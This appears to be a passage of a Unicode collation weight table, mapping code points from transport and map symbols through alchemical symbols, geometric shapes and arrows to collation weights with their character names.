+1F69A ; [*1695.0020.0002] # DELIVERY TRUCK
+1F69B ; [*1696.0020.0002] # ARTICULATED LORRY
+1F69C ; [*1697.0020.0002] # TRACTOR
+1F69D ; [*1698.0020.0002] # MONORAIL
+1F69E ; [*1699.0020.0002] # MOUNTAIN RAILWAY
+1F69F ; [*169A.0020.0002] # SUSPENSION RAILWAY
+1F6A0 ; [*169B.0020.0002] # MOUNTAIN CABLEWAY
+1F6A1 ; [*169C.0020.0002] # AERIAL TRAMWAY
+1F6A2 ; [*169D.0020.0002] # SHIP
+1F6A3 ; [*169E.0020.0002] # ROWBOAT
+1F6A4 ; [*169F.0020.0002] # SPEEDBOAT
+1F6A5 ; [*16A0.0020.0002] # HORIZONTAL TRAFFIC LIGHT
+1F6A6 ; [*16A1.0020.0002] # VERTICAL TRAFFIC LIGHT
+1F6A7 ; [*16A2.0020.0002] # CONSTRUCTION SIGN
+1F6A8 ; [*16A3.0020.0002] # POLICE CARS REVOLVING LIGHT
+1F6A9 ; [*16A4.0020.0002] # TRIANGULAR FLAG ON POST
+1F6AA ; [*16A5.0020.0002] # DOOR
+1F6AB ; [*16A6.0020.0002] # NO ENTRY SIGN
+1F6AC ; [*16A7.0020.0002] # SMOKING SYMBOL
+1F6AD ; [*16A8.0020.0002] # NO SMOKING SYMBOL
+1F6AE ; [*16A9.0020.0002] # PUT LITTER IN ITS PLACE SYMBOL
+1F6AF ; [*16AA.0020.0002] # DO NOT LITTER SYMBOL
+1F6B0 ; [*16AB.0020.0002] # POTABLE WATER SYMBOL
+1F6B1 ; [*16AC.0020.0002] # NON-POTABLE WATER SYMBOL
+1F6B2 ; [*16AD.0020.0002] # BICYCLE
+1F6B3 ; [*16AE.0020.0002] # NO BICYCLES
+1F6B4 ; [*16AF.0020.0002] # BICYCLIST
+1F6B5 ; [*16B0.0020.0002] # MOUNTAIN BICYCLIST
+1F6B6 ; [*16B1.0020.0002] # PEDESTRIAN
+1F6B7 ; [*16B2.0020.0002] # NO PEDESTRIANS
+1F6B8 ; [*16B3.0020.0002] # CHILDREN CROSSING
+1F6B9 ; [*16B4.0020.0002] # MENS SYMBOL
+1F6BA ; [*16B5.0020.0002] # WOMENS SYMBOL
+1F6BB ; [*16B6.0020.0002] # RESTROOM
+1F6BC ; [*16B7.0020.0002] # BABY SYMBOL
+1F6BD ; [*16B8.0020.0002] # TOILET
+1F6BE ; [*16B9.0020.0002] # WATER CLOSET
+1F6BF ; [*16BA.0020.0002] # SHOWER
+1F6C0 ; [*16BB.0020.0002] # BATH
+1F6C1 ; [*16BC.0020.0002] # BATHTUB
+1F6C2 ; [*16BD.0020.0002] # PASSPORT CONTROL
+1F6C3 ; [*16BE.0020.0002] # CUSTOMS
+1F6C4 ; [*16BF.0020.0002] # BAGGAGE CLAIM
+1F6C5 ; [*16C0.0020.0002] # LEFT LUGGAGE
+1F6C6 ; [*16C1.0020.0002] # TRIANGLE WITH ROUNDED CORNERS
+1F6C7 ; [*16C2.0020.0002] # PROHIBITED SIGN
+1F6C8 ; [*16C3.0020.0002] # CIRCLED INFORMATION SOURCE
+1F6C9 ; [*16C4.0020.0002] # BOYS SYMBOL
+1F6CA ; [*16C5.0020.0002] # GIRLS SYMBOL
+1F6CB ; [*16C6.0020.0002] # COUCH AND LAMP
+1F6CC ; [*16C7.0020.0002] # SLEEPING ACCOMMODATION
+1F6CD ; [*16C8.0020.0002] # SHOPPING BAGS
+1F6CE ; [*16C9.0020.0002] # BELLHOP BELL
+1F6CF ; [*16CA.0020.0002] # BED
+1F6D0 ; [*16CB.0020.0002] # PLACE OF WORSHIP
+1F6D1 ; [*16CC.0020.0002] # OCTAGONAL SIGN
+1F6D2 ; [*16CD.0020.0002] # SHOPPING TROLLEY
+1F6E0 ; [*16CE.0020.0002] # HAMMER AND WRENCH
+1F6E1 ; [*16CF.0020.0002] # SHIELD
+1F6E2 ; [*16D0.0020.0002] # OIL DRUM
+1F6E3 ; [*16D1.0020.0002] # MOTORWAY
+1F6E4 ; [*16D2.0020.0002] # RAILWAY TRACK
+1F6E5 ; [*16D3.0020.0002] # MOTOR BOAT
+1F6E6 ; [*16D4.0020.0002] # UP-POINTING MILITARY AIRPLANE
+1F6E7 ; [*16D5.0020.0002] # UP-POINTING AIRPLANE
+1F6E8 ; [*16D6.0020.0002] # UP-POINTING SMALL AIRPLANE
+1F6E9 ; [*16D7.0020.0002] # SMALL AIRPLANE
+1F6EA ; [*16D8.0020.0002] # NORTHEAST-POINTING AIRPLANE
+1F6EB ; [*16D9.0020.0002] # AIRPLANE DEPARTURE
+1F6EC ; [*16DA.0020.0002] # AIRPLANE ARRIVING
+1F6F0 ; [*16DB.0020.0002] # SATELLITE
+1F6F1 ; [*16DC.0020.0002] # ONCOMING FIRE ENGINE
+1F6F2 ; [*16DD.0020.0002] # DIESEL LOCOMOTIVE
+1F6F3 ; [*16DE.0020.0002] # PASSENGER SHIP
+1F6F4 ; [*16DF.0020.0002] # SCOOTER
+1F6F5 ; [*16E0.0020.0002] # MOTOR SCOOTER
+1F6F6 ; [*16E1.0020.0002] # CANOE
+1F700 ; [*16E2.0020.0002] # ALCHEMICAL SYMBOL FOR QUINTESSENCE
+1F701 ; [*16E3.0020.0002] # ALCHEMICAL SYMBOL FOR AIR
+1F702 ; [*16E4.0020.0002] # ALCHEMICAL SYMBOL FOR FIRE
+1F703 ; [*16E5.0020.0002] # ALCHEMICAL SYMBOL FOR EARTH
+1F704 ; [*16E6.0020.0002] # ALCHEMICAL SYMBOL FOR WATER
+1F705 ; [*16E7.0020.0002] # ALCHEMICAL SYMBOL FOR AQUAFORTIS
+1F706 ; [*16E8.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA REGIA
+1F707 ; [*16E9.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA REGIA-2
+1F708 ; [*16EA.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA VITAE
+1F709 ; [*16EB.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA VITAE-2
+1F70A ; [*16EC.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR
+1F70B ; [*16ED.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR-2
+1F70C ; [*16EE.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR-3
+1F70D ; [*16EF.0020.0002] # ALCHEMICAL SYMBOL FOR SULFUR
+1F70E ; [*16F0.0020.0002] # ALCHEMICAL SYMBOL FOR PHILOSOPHERS SULFUR
+1F70F ; [*16F1.0020.0002] # ALCHEMICAL SYMBOL FOR BLACK SULFUR
+1F710 ; [*16F2.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE
+1F711 ; [*16F3.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE-2
+1F712 ; [*16F4.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE-3
+1F713 ; [*16F5.0020.0002] # ALCHEMICAL SYMBOL FOR CINNABAR
+1F714 ; [*16F6.0020.0002] # ALCHEMICAL SYMBOL FOR SALT
+1F715 ; [*16F7.0020.0002] # ALCHEMICAL SYMBOL FOR NITRE
+1F716 ; [*16F8.0020.0002] # ALCHEMICAL SYMBOL FOR VITRIOL
+1F717 ; [*16F9.0020.0002] # ALCHEMICAL SYMBOL FOR VITRIOL-2
+1F718 ; [*16FA.0020.0002] # ALCHEMICAL SYMBOL FOR ROCK SALT
+1F719 ; [*16FB.0020.0002] # ALCHEMICAL SYMBOL FOR ROCK SALT-2
+1F71A ; [*16FC.0020.0002] # ALCHEMICAL SYMBOL FOR GOLD
+1F71B ; [*16FD.0020.0002] # ALCHEMICAL SYMBOL FOR SILVER
+1F71C ; [*16FE.0020.0002] # ALCHEMICAL SYMBOL FOR IRON ORE
+1F71D ; [*16FF.0020.0002] # ALCHEMICAL SYMBOL FOR IRON ORE-2
+1F71E ; [*1700.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF IRON
+1F71F ; [*1701.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF IRON
+1F720 ; [*1702.0020.0002] # ALCHEMICAL SYMBOL FOR COPPER ORE
+1F721 ; [*1703.0020.0002] # ALCHEMICAL SYMBOL FOR IRON-COPPER ORE
+1F722 ; [*1704.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF COPPER
+1F723 ; [*1705.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF COPPER
+1F724 ; [*1706.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF COPPER-2
+1F725 ; [*1707.0020.0002] # ALCHEMICAL SYMBOL FOR COPPER ANTIMONIATE
+1F726 ; [*1708.0020.0002] # ALCHEMICAL SYMBOL FOR SALT OF COPPER ANTIMONIATE
+1F727 ; [*1709.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF SALT OF COPPER
+1F728 ; [*170A.0020.0002] # ALCHEMICAL SYMBOL FOR VERDIGRIS
+1F729 ; [*170B.0020.0002] # ALCHEMICAL SYMBOL FOR TIN ORE
+1F72A ; [*170C.0020.0002] # ALCHEMICAL SYMBOL FOR LEAD ORE
+1F72B ; [*170D.0020.0002] # ALCHEMICAL SYMBOL FOR ANTIMONY ORE
+1F72C ; [*170E.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF ANTIMONY
+1F72D ; [*170F.0020.0002] # ALCHEMICAL SYMBOL FOR SALT OF ANTIMONY
+1F72E ; [*1710.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF SALT OF ANTIMONY
+1F72F ; [*1711.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR OF ANTIMONY
+1F730 ; [*1712.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF ANTIMONY
+1F731 ; [*1713.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF ANTIMONY-2
+1F732 ; [*1714.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS
+1F733 ; [*1715.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-2
+1F734 ; [*1716.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-3
+1F735 ; [*1717.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-4
+1F736 ; [*1718.0020.0002] # ALCHEMICAL SYMBOL FOR ALKALI
+1F737 ; [*1719.0020.0002] # ALCHEMICAL SYMBOL FOR ALKALI-2
+1F738 ; [*171A.0020.0002] # ALCHEMICAL SYMBOL FOR MARCASITE
+1F739 ; [*171B.0020.0002] # ALCHEMICAL SYMBOL FOR SAL-AMMONIAC
+1F73A ; [*171C.0020.0002] # ALCHEMICAL SYMBOL FOR ARSENIC
+1F73B ; [*171D.0020.0002] # ALCHEMICAL SYMBOL FOR REALGAR
+1F73C ; [*171E.0020.0002] # ALCHEMICAL SYMBOL FOR REALGAR-2
+1F73D ; [*171F.0020.0002] # ALCHEMICAL SYMBOL FOR AURIPIGMENT
+1F73E ; [*1720.0020.0002] # ALCHEMICAL SYMBOL FOR BISMUTH ORE
+1F73F ; [*1721.0020.0002] # ALCHEMICAL SYMBOL FOR TARTAR
+1F740 ; [*1722.0020.0002] # ALCHEMICAL SYMBOL FOR TARTAR-2
+1F741 ; [*1723.0020.0002] # ALCHEMICAL SYMBOL FOR QUICK LIME
+1F742 ; [*1724.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX
+1F743 ; [*1725.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX-2
+1F744 ; [*1726.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX-3
+1F745 ; [*1727.0020.0002] # ALCHEMICAL SYMBOL FOR ALUM
+1F746 ; [*1728.0020.0002] # ALCHEMICAL SYMBOL FOR OIL
+1F747 ; [*1729.0020.0002] # ALCHEMICAL SYMBOL FOR SPIRIT
+1F748 ; [*172A.0020.0002] # ALCHEMICAL SYMBOL FOR TINCTURE
+1F749 ; [*172B.0020.0002] # ALCHEMICAL SYMBOL FOR GUM
+1F74A ; [*172C.0020.0002] # ALCHEMICAL SYMBOL FOR WAX
+1F74B ; [*172D.0020.0002] # ALCHEMICAL SYMBOL FOR POWDER
+1F74C ; [*172E.0020.0002] # ALCHEMICAL SYMBOL FOR CALX
+1F74D ; [*172F.0020.0002] # ALCHEMICAL SYMBOL FOR TUTTY
+1F74E ; [*1730.0020.0002] # ALCHEMICAL SYMBOL FOR CAPUT MORTUUM
+1F74F ; [*1731.0020.0002] # ALCHEMICAL SYMBOL FOR SCEPTER OF JOVE
+1F750 ; [*1732.0020.0002] # ALCHEMICAL SYMBOL FOR CADUCEUS
+1F751 ; [*1733.0020.0002] # ALCHEMICAL SYMBOL FOR TRIDENT
+1F752 ; [*1734.0020.0002] # ALCHEMICAL SYMBOL FOR STARRED TRIDENT
+1F753 ; [*1735.0020.0002] # ALCHEMICAL SYMBOL FOR LODESTONE
+1F754 ; [*1736.0020.0002] # ALCHEMICAL SYMBOL FOR SOAP
+1F755 ; [*1737.0020.0002] # ALCHEMICAL SYMBOL FOR URINE
+1F756 ; [*1738.0020.0002] # ALCHEMICAL SYMBOL FOR HORSE DUNG
+1F757 ; [*1739.0020.0002] # ALCHEMICAL SYMBOL FOR ASHES
+1F758 ; [*173A.0020.0002] # ALCHEMICAL SYMBOL FOR POT ASHES
+1F759 ; [*173B.0020.0002] # ALCHEMICAL SYMBOL FOR BRICK
+1F75A ; [*173C.0020.0002] # ALCHEMICAL SYMBOL FOR POWDERED BRICK
+1F75B ; [*173D.0020.0002] # ALCHEMICAL SYMBOL FOR AMALGAM
+1F75C ; [*173E.0020.0002] # ALCHEMICAL SYMBOL FOR STRATUM SUPER STRATUM
+1F75D ; [*173F.0020.0002] # ALCHEMICAL SYMBOL FOR STRATUM SUPER STRATUM-2
+1F75E ; [*1740.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATION
+1F75F ; [*1741.0020.0002] # ALCHEMICAL SYMBOL FOR PRECIPITATE
+1F760 ; [*1742.0020.0002] # ALCHEMICAL SYMBOL FOR DISTILL
+1F761 ; [*1743.0020.0002] # ALCHEMICAL SYMBOL FOR DISSOLVE
+1F762 ; [*1744.0020.0002] # ALCHEMICAL SYMBOL FOR DISSOLVE-2
+1F763 ; [*1745.0020.0002] # ALCHEMICAL SYMBOL FOR PURIFY
+1F764 ; [*1746.0020.0002] # ALCHEMICAL SYMBOL FOR PUTREFACTION
+1F765 ; [*1747.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE
+1F766 ; [*1748.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-2
+1F767 ; [*1749.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-3
+1F768 ; [*174A.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-4
+1F769 ; [*174B.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-5
+1F76A ; [*174C.0020.0002] # ALCHEMICAL SYMBOL FOR ALEMBIC
+1F76B ; [*174D.0020.0002] # ALCHEMICAL SYMBOL FOR BATH OF MARY
+1F76C ; [*174E.0020.0002] # ALCHEMICAL SYMBOL FOR BATH OF VAPOURS
+1F76D ; [*174F.0020.0002] # ALCHEMICAL SYMBOL FOR RETORT
+1F76E ; [*1750.0020.0002] # ALCHEMICAL SYMBOL FOR HOUR
+1F76F ; [*1751.0020.0002] # ALCHEMICAL SYMBOL FOR NIGHT
+1F770 ; [*1752.0020.0002] # ALCHEMICAL SYMBOL FOR DAY-NIGHT
+1F771 ; [*1753.0020.0002] # ALCHEMICAL SYMBOL FOR MONTH
+1F772 ; [*1754.0020.0002] # ALCHEMICAL SYMBOL FOR HALF DRAM
+1F773 ; [*1755.0020.0002] # ALCHEMICAL SYMBOL FOR HALF OUNCE
+1F780 ; [*1756.0020.0002] # BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE
+1F781 ; [*1757.0020.0002] # BLACK UP-POINTING ISOSCELES RIGHT TRIANGLE
+1F782 ; [*1758.0020.0002] # BLACK RIGHT-POINTING ISOSCELES RIGHT TRIANGLE
+1F783 ; [*1759.0020.0002] # BLACK DOWN-POINTING ISOSCELES RIGHT TRIANGLE
+1F784 ; [*175A.0020.0002] # BLACK SLIGHTLY SMALL CIRCLE
+1F785 ; [*175B.0020.0002] # MEDIUM BOLD WHITE CIRCLE
+1F786 ; [*175C.0020.0002] # BOLD WHITE CIRCLE
+1F787 ; [*175D.0020.0002] # HEAVY WHITE CIRCLE
+1F788 ; [*175E.0020.0002] # VERY HEAVY WHITE CIRCLE
+1F789 ; [*175F.0020.0002] # EXTREMELY HEAVY WHITE CIRCLE
+1F78A ; [*1760.0020.0002] # WHITE CIRCLE CONTAINING BLACK SMALL CIRCLE
+1F78B ; [*1761.0020.0002] # ROUND TARGET
+1F78C ; [*1762.0020.0002] # BLACK TINY SQUARE
+1F78D ; [*1763.0020.0002] # BLACK SLIGHTLY SMALL SQUARE
+1F78E ; [*1764.0020.0002] # LIGHT WHITE SQUARE
+1F78F ; [*1765.0020.0002] # MEDIUM WHITE SQUARE
+1F790 ; [*1766.0020.0002] # BOLD WHITE SQUARE
+1F791 ; [*1767.0020.0002] # HEAVY WHITE SQUARE
+1F792 ; [*1768.0020.0002] # VERY HEAVY WHITE SQUARE
+1F793 ; [*1769.0020.0002] # EXTREMELY HEAVY WHITE SQUARE
+1F794 ; [*176A.0020.0002] # WHITE SQUARE CONTAINING BLACK VERY SMALL SQUARE
+1F795 ; [*176B.0020.0002] # WHITE SQUARE CONTAINING BLACK MEDIUM SQUARE
+1F796 ; [*176C.0020.0002] # SQUARE TARGET
+1F797 ; [*176D.0020.0002] # BLACK TINY DIAMOND
+1F798 ; [*176E.0020.0002] # BLACK VERY SMALL DIAMOND
+1F799 ; [*176F.0020.0002] # BLACK MEDIUM SMALL DIAMOND
+1F79A ; [*1770.0020.0002] # WHITE DIAMOND CONTAINING BLACK VERY SMALL DIAMOND
+1F79B ; [*1771.0020.0002] # WHITE DIAMOND CONTAINING BLACK MEDIUM DIAMOND
+1F79C ; [*1772.0020.0002] # DIAMOND TARGET
+1F79D ; [*1773.0020.0002] # BLACK TINY LOZENGE
+1F79E ; [*1774.0020.0002] # BLACK VERY SMALL LOZENGE
+1F79F ; [*1775.0020.0002] # BLACK MEDIUM SMALL LOZENGE
+1F7A0 ; [*1776.0020.0002] # WHITE LOZENGE CONTAINING BLACK SMALL LOZENGE
+1F7A1 ; [*1777.0020.0002] # THIN GREEK CROSS
+1F7A2 ; [*1778.0020.0002] # LIGHT GREEK CROSS
+1F7A3 ; [*1779.0020.0002] # MEDIUM GREEK CROSS
+1F7A4 ; [*177A.0020.0002] # BOLD GREEK CROSS
+1F7A5 ; [*177B.0020.0002] # VERY BOLD GREEK CROSS
+1F7A6 ; [*177C.0020.0002] # VERY HEAVY GREEK CROSS
+1F7A7 ; [*177D.0020.0002] # EXTREMELY HEAVY GREEK CROSS
+1F7A8 ; [*177E.0020.0002] # THIN SALTIRE
+1F7A9 ; [*177F.0020.0002] # LIGHT SALTIRE
+1F7AA ; [*1780.0020.0002] # MEDIUM SALTIRE
+1F7AB ; [*1781.0020.0002] # BOLD SALTIRE
+1F7AC ; [*1782.0020.0002] # HEAVY SALTIRE
+1F7AD ; [*1783.0020.0002] # VERY HEAVY SALTIRE
+1F7AE ; [*1784.0020.0002] # EXTREMELY HEAVY SALTIRE
+1F7AF ; [*1785.0020.0002] # LIGHT FIVE SPOKED ASTERISK
+1F7B0 ; [*1786.0020.0002] # MEDIUM FIVE SPOKED ASTERISK
+1F7B1 ; [*1787.0020.0002] # BOLD FIVE SPOKED ASTERISK
+1F7B2 ; [*1788.0020.0002] # HEAVY FIVE SPOKED ASTERISK
+1F7B3 ; [*1789.0020.0002] # VERY HEAVY FIVE SPOKED ASTERISK
+1F7B4 ; [*178A.0020.0002] # EXTREMELY HEAVY FIVE SPOKED ASTERISK
+1F7B5 ; [*178B.0020.0002] # LIGHT SIX SPOKED ASTERISK
+1F7B6 ; [*178C.0020.0002] # MEDIUM SIX SPOKED ASTERISK
+1F7B7 ; [*178D.0020.0002] # BOLD SIX SPOKED ASTERISK
+1F7B8 ; [*178E.0020.0002] # HEAVY SIX SPOKED ASTERISK
+1F7B9 ; [*178F.0020.0002] # VERY HEAVY SIX SPOKED ASTERISK
+1F7BA ; [*1790.0020.0002] # EXTREMELY HEAVY SIX SPOKED ASTERISK
+1F7BB ; [*1791.0020.0002] # LIGHT EIGHT SPOKED ASTERISK
+1F7BC ; [*1792.0020.0002] # MEDIUM EIGHT SPOKED ASTERISK
+1F7BD ; [*1793.0020.0002] # BOLD EIGHT SPOKED ASTERISK
+1F7BE ; [*1794.0020.0002] # HEAVY EIGHT SPOKED ASTERISK
+1F7BF ; [*1795.0020.0002] # VERY HEAVY EIGHT SPOKED ASTERISK
+1F7C0 ; [*1796.0020.0002] # LIGHT THREE POINTED BLACK STAR
+1F7C1 ; [*1797.0020.0002] # MEDIUM THREE POINTED BLACK STAR
+1F7C2 ; [*1798.0020.0002] # THREE POINTED BLACK STAR
+1F7C3 ; [*1799.0020.0002] # MEDIUM THREE POINTED PINWHEEL STAR
+1F7C4 ; [*179A.0020.0002] # LIGHT FOUR POINTED BLACK STAR
+1F7C5 ; [*179B.0020.0002] # MEDIUM FOUR POINTED BLACK STAR
+1F7C6 ; [*179C.0020.0002] # FOUR POINTED BLACK STAR
+1F7C7 ; [*179D.0020.0002] # MEDIUM FOUR POINTED PINWHEEL STAR
+1F7C8 ; [*179E.0020.0002] # REVERSE LIGHT FOUR POINTED PINWHEEL STAR
+1F7C9 ; [*179F.0020.0002] # LIGHT FIVE POINTED BLACK STAR
+1F7CA ; [*17A0.0020.0002] # HEAVY FIVE POINTED BLACK STAR
+1F7CB ; [*17A1.0020.0002] # MEDIUM SIX POINTED BLACK STAR
+1F7CC ; [*17A2.0020.0002] # HEAVY SIX POINTED BLACK STAR
+1F7CD ; [*17A3.0020.0002] # SIX POINTED PINWHEEL STAR
+1F7CE ; [*17A4.0020.0002] # MEDIUM EIGHT POINTED BLACK STAR
+1F7CF ; [*17A5.0020.0002] # HEAVY EIGHT POINTED BLACK STAR
+1F7D0 ; [*17A6.0020.0002] # VERY HEAVY EIGHT POINTED BLACK STAR
+1F7D1 ; [*17A7.0020.0002] # HEAVY EIGHT POINTED PINWHEEL STAR
+1F7D2 ; [*17A8.0020.0002] # LIGHT TWELVE POINTED BLACK STAR
+1F7D3 ; [*17A9.0020.0002] # HEAVY TWELVE POINTED BLACK STAR
+1F7D4 ; [*17AA.0020.0002] # HEAVY TWELVE POINTED PINWHEEL STAR
+1F800 ; [*17AB.0020.0002] # LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
+1F801 ; [*17AC.0020.0002] # UPWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
+1F802 ; [*17AD.0020.0002] # RIGHTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
+1F803 ; [*17AE.0020.0002] # DOWNWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
+1F804 ; [*17AF.0020.0002] # LEFTWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD
+1F805 ; [*17B0.0020.0002] # UPWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD
+1F806 ; [*17B1.0020.0002] # RIGHTWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD
+1F807 ; [*17B2.0020.0002] # DOWNWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD
+1F808 ; [*17B3.0020.0002] # LEFTWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
+1F809 ; [*17B4.0020.0002] # UPWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
+1F80A ; [*17B5.0020.0002] # RIGHTWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
+1F80B ; [*17B6.0020.0002] # DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
+1F810 ; [*17B7.0020.0002] # LEFTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD
+1F811 ; [*17B8.0020.0002] # UPWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD
+1F812 ; [*17B9.0020.0002] # RIGHTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD
+1F813 ; [*17BA.0020.0002] # DOWNWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD
+1F814 ; [*17BB.0020.0002] # LEFTWARDS ARROW WITH EQUILATERAL ARROWHEAD
+1F815 ; [*17BC.0020.0002] # UPWARDS ARROW WITH EQUILATERAL ARROWHEAD
+1F816 ; [*17BD.0020.0002] # RIGHTWARDS ARROW WITH EQUILATERAL ARROWHEAD
+1F817 ; [*17BE.0020.0002] # DOWNWARDS ARROW WITH EQUILATERAL ARROWHEAD
+1F818 ; [*17BF.0020.0002] # HEAVY LEFTWARDS ARROW WITH EQUILATERAL ARROWHEAD
+1F819 ; [*17C0.0020.0002] # HEAVY UPWARDS ARROW WITH EQUILATERAL ARROWHEAD
+1F81A ; [*17C1.0020.0002] # HEAVY RIGHTWARDS ARROW WITH EQUILATERAL ARROWHEAD
+1F81B ; [*17C2.0020.0002] # HEAVY DOWNWARDS ARROW WITH EQUILATERAL ARROWHEAD
+1F81C ; [*17C3.0020.0002] # HEAVY LEFTWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD
+1F81D ; [*17C4.0020.0002] # HEAVY UPWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD
+1F81E ; [*17C5.0020.0002] # HEAVY RIGHTWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD
+1F81F ; [*17C6.0020.0002] # HEAVY DOWNWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD
+1F820 ; [*17C7.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT
+1F821 ; [*17C8.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT
+1F822 ; [*17C9.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT
+1F823 ; [*17CA.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT
+1F824 ; [*17CB.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT
+1F825 ; [*17CC.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT
+1F826 ; [*17CD.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT
+1F827 ; [*17CE.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT
+1F828 ; [*17CF.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT
+1F829 ; [*17D0.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT
+1F82A ; [*17D1.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT
+1F82B ; [*17D2.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT
+1F82C ; [*17D3.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT
+1F82D ; [*17D4.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT
+1F82E ; [*17D5.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT
+1F82F ; [*17D6.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT
+1F830 ; [*17D7.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT
+1F831 ; [*17D8.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT
+1F832 ; [*17D9.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT
+1F833 ; [*17DA.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT
+1F834 ; [*17DB.0020.0002] # LEFTWARDS FINGER-POST ARROW
+1F835 ; [*17DC.0020.0002] # UPWARDS FINGER-POST ARROW
+1F836 ; [*17DD.0020.0002] # RIGHTWARDS FINGER-POST ARROW
+1F837 ; [*17DE.0020.0002] # DOWNWARDS FINGER-POST ARROW
+1F838 ; [*17DF.0020.0002] # LEFTWARDS SQUARED ARROW
+1F839 ; [*17E0.0020.0002] # UPWARDS SQUARED ARROW
+1F83A ; [*17E1.0020.0002] # RIGHTWARDS SQUARED ARROW
+1F83B ; [*17E2.0020.0002] # DOWNWARDS SQUARED ARROW
+1F83C ; [*17E3.0020.0002] # LEFTWARDS COMPRESSED ARROW
+1F83D ; [*17E4.0020.0002] # UPWARDS COMPRESSED ARROW
+1F83E ; [*17E5.0020.0002] # RIGHTWARDS COMPRESSED ARROW
+1F83F ; [*17E6.0020.0002] # DOWNWARDS COMPRESSED ARROW
+1F840 ; [*17E7.0020.0002] # LEFTWARDS HEAVY COMPRESSED ARROW
+1F841 ; [*17E8.0020.0002] # UPWARDS HEAVY COMPRESSED ARROW
+1F842 ; [*17E9.0020.0002] # RIGHTWARDS HEAVY COMPRESSED ARROW
+1F843 ; [*17EA.0020.0002] # DOWNWARDS HEAVY COMPRESSED ARROW
+1F844 ; [*17EB.0020.0002] # LEFTWARDS HEAVY ARROW
+1F845 ; [*17EC.0020.0002] # UPWARDS HEAVY ARROW
+1F846 ; [*17ED.0020.0002] # RIGHTWARDS HEAVY ARROW
+1F847 ; [*17EE.0020.0002] # DOWNWARDS HEAVY ARROW
+1F850 ; [*17EF.0020.0002] # LEFTWARDS SANS-SERIF ARROW
